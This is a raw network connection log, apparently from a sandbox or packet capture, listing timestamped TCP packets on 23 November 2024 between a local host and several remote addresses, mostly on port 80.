Nov 23, 2024 21:15:42.734096050 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.734519005 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.734579086 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.735001087 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.735054016 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.735831976 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.735992908 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.736000061 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.736893892 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.736903906 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.737016916 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.737399101 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.737873077 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.737934113 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.738032103 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.738096952 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.738817930 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.738876104 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.739516973 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.739590883 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.739859104 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.739871025 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.739921093 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.740753889 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.740803003 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.741132021 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.741200924 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.741719961 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.741818905 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.742479086 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.742573977 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.742657900 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.742717028 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.742753983 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.742868900 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.743654966 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.743814945 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.743839979 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.744059086 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.744592905 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.744702101 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.744739056 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.744776011 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.745621920 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.745682001 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.745779037 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.745841026 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.746498108 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.746655941 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.746961117 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.747447968 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.747551918 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.747828960 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.747889996 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.748394012 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.748452902 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.748720884 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.748831034 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.749378920 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.749531984 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.749537945 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.749687910 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.750323057 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.750402927 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.750416994 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.750463009 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.751302958 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.751390934 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.752052069 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.752114058 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.752226114 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.752382994 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.752948046 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.753012896 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.753190041 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.753245115 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.753822088 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.753871918 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.754134893 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.754194021 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.754712105 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.754784107 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.755095959 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.755157948 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.755211115 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.755276918 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.756068945 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.756115913 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.756123066 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.756181955 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.757023096 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.757395029 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.757558107 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.757637978 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.757971048 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.758066893 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.758141994 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.758219004 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.758949041 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.759038925 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.759526014 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.759591103 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.759893894 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.759948969 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.760328054 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.760457993 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.760835886 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.760925055 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.760973930 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.761193037 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.761817932 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.761872053 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.761928082 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.762144089 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.762758017 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.762826920 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.762923002 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.763037920 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.763725996 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.763807058 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.763849974 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.763880014 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.764724970 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.764796972 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.765609026 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.765837908 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.766593933 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.766763926 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.767550945 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.767644882 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.767971039 CET	443	49769	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:42.768534899 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.768666029 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.768733025 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.768857002 CET	443	49766	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:42.768912077 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.769015074 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.769593954 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.769696951 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.769697905 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.769963980 CET	49769	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:42.769979000 CET	443	49769	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:42.770077944 CET	49766	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:42.770106077 CET	443	49766	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:42.770417929 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.770421982 CET	49769	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:42.770426035 CET	443	49769	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:42.770495892 CET	49766	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:42.770508051 CET	443	49766	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:42.770533085 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.770566940 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.770740032 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.771378994 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.771467924 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.771500111 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.771603107 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.772341967 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.772445917 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.772460938 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.772531033 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.773283958 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.773423910 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.893687963 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.893701077 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.894016981 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.894515991 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.894995928 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.895116091 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.895692110 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.895899057 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.896112919 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.927618980 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.927721024 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.928102970 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.928138018 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.928276062 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.928297997 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.928652048 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.928857088 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.929083109 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.929824114 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.930150032 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.930775881 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.931057930 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.931736946 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.931965113 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.932688951 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.932898998 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.933650970 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.933882952 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.934619904 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.934756994 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.935579062 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.936009884 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.936671972 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.936796904 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.937416077 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.937503099 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.937616110 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.937840939 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.937884092 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.938421011 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.938647985 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.939249992 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.939371109 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.939570904 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.939574957 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.939758062 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.940331936 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.940496922 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.941612959 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.941740036 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.942290068 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.942397118 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.942703962 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.943365097 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.943551064 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.944629908 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.945472956 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.945478916 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.945489883 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.946070910 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.946429014 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.947026014 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.947576046 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.948072910 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.948188066 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.948959112 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.949081898 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.949918985 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.949928999 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.950895071 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.951124907 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.951889992 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.952162981 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.952809095 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.953139067 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.953175068 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.953507900 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.953566074 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.953864098 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.953872919 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.954710007 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.955667973 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.955673933 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.955686092 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.956612110 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.956974983 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.957628012 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.957633972 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.958512068 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.959505081 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.959511995 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.959527969 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.960428953 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.960530996 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.961401939 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.962306023 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.962372065 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.962378979 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.962421894 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.962883949 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.963006973 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.963376045 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.963491917 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.963537931 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.963641882 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.964381933 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.964601994 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.964859962 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.965344906 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.966063976 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.966268063 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.966272116 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.967179060 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.967406034 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.968112946 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.969099045 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.969104052 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.969119072 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.970026016 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.970082998 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.970316887 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.970592022 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.970961094 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.971057892 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.971385956 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.971947908 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.971952915 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.972526073 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.972888947 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.973098993 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.973699093 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.973978043 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.974209070 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.974555016 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.974678040 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.013056993 CET	49778	80	192.168.2.8	185.215.113.206
Nov 23, 2024 21:15:43.014626980 CET	49779	443	192.168.2.8	34.117.188.166
Nov 23, 2024 21:15:43.014652014 CET	443	49779	34.117.188.166	192.168.2.8
Nov 23, 2024 21:15:43.027146101 CET	49779	443	192.168.2.8	34.117.188.166
Nov 23, 2024 21:15:43.029134035 CET	49779	443	192.168.2.8	34.117.188.166
Nov 23, 2024 21:15:43.029153109 CET	443	49779	34.117.188.166	192.168.2.8
Nov 23, 2024 21:15:43.095155954 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.095197916 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.095469952 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.095575094 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.096183062 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.096376896 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.096560001 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.097333908 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.097464085 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.099854946 CET	443	49767	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.100008011 CET	443	49767	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.100317955 CET	49767	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.129147053 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.129225016 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.129519939 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.129615068 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.130485058 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.130575895 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.131402969 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.138784885 CET	80	49778	185.215.113.206	192.168.2.8
Nov 23, 2024 21:15:43.139695883 CET	443	49770	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.139771938 CET	443	49770	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.140747070 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:43.140772104 CET	49778	80	192.168.2.8	185.215.113.206
Nov 23, 2024 21:15:43.147329092 CET	443	49770	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.148118019 CET	443	49768	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.148279905 CET	443	49768	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.155358076 CET	443	49768	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:43.160958052 CET	49770	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.161148071 CET	49768	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:43.209062099 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.209171057 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.209183931 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.209193945 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.209232092 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.209248066 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:43.209258080 CET	80	49771	185.215.113.16	192.168.2.8
